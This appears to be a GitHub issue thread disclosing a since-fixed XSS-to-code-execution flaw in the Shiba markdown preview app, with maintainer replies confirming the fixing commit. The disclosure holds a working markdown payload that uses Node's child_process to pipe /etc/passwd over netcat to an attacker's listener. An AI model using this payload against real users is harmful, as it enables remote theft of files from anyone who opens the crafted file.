XSS to RCE vulnerability report

[silviavali]

Hello,

I would like to report a XSS vulnerability in your application that leads to code execution.
I have a working POC that I dont want to post publicly.
Please contact me at silviavali14@gmail.com

[rhysd]

This was fixed in v1.1.1. So I'm closing. Thank you for your report.

[silviavali]

Thanks for the info on the fix and the version. Silvia

…

On 30 November 2017 at 05:07, Linda_pp ***@***.***> wrote: Closed #42 <#42>. — You are receiving this because you authored the thread. Reply to this email directly, view it on GitHub <#42 (comment)>, or mute the thread <https://github.com/notifications/unsubscribe-auth/ASTfilaqsFqKtYzKxmReITCUhvCqNTNxks5s7hwLgaJpZM4Qqhgz> .

[attritionorg]

@rhysd Can you confirm e8a65b0 is the fixing commit?

[silviavali]

Hey, Fix confirmed. Awesome job :) e8a65b0

…

On 6 December 2017 at 06:18, Jericho ***@***.***> wrote: @rhysd <https://github.com/rhysd> Can you confirm e8a65b0 <e8a65b0> is the fixing commit? — You are receiving this because you authored the thread. Reply to this email directly, view it on GitHub <#42 (comment)>, or mute the thread <https://github.com/notifications/unsubscribe-auth/ASTfihwxJE7qkmC2Uc8HFvNxKOsmo0Xcks5s9hWRgaJpZM4Qqhgz> .

[rhysd]

@attritionorg Yes.

[silviavali]

"XSS to code execution vulnerability due to enabled nodeIntegration"

Date reported: 25th Nov, 2017
Vulnerable version: v1.1.0
Fixed on: Nov 28, 2017, version v1.1.1 (note: some of the HTML elements have been allowed since version v1.2.0)
Fixing commit: e8a65b0

Shiba is rich live markdown preview app with linter. It provides functionality to open .md files,
which means those files can be written by the user him/herself or markdown files shared to the user
by some other third party.

Reproduce the vulnerability:
Attacker runs the following command in terminal and remains waiting for the connection 'home':
nc -l -p 1337 > passwd.txt

Attacker crafts the following file: payload.md, delivers it to the victim and victim opens it in Shiba:
<s <onmouseover="alert(1)"> <s onmouseover="const exec = require('child_process').exec; exec('nc -w 3 192.168.8.100 1337 < /etc/passwd', (e, stdout, stderr)=> { if (e instanceof Error) { console.error(e); throw e; } console.log('stdout ', stdout); console.log('stderr ', stderr); });alert('1')">Hallo</s>

Possible scenario:
Attacker crafts a markdown file ’payload.md’ and makes it publicly available for download or tricks the victim to download it some other way and open it with the Shiba application. Attacker starts netcat and listens on port 1337 to receive /etc/passwd file content form the victim’s machine. Victim has downloaded and opened the file in Shiba application. If victim now hovers over the file content on the markdown editor, the payload gets executed on the background and the attacker receives the ‘/etc/passwd’ file content from the victim’s machine.

You can be sure that payload got triggered when alert 1 appears on victim’s screen.

Output from developer tools:

By now attacker has received the contents of the /etc/passwd file as the result:

[rhysd]

Thank you for your report. I'll investigate this issue this weekend.

[rhysd]

Ah, I'm sorry that I misunderstood your comment. #42 (comment) is a disclosure of this problem and already fixed.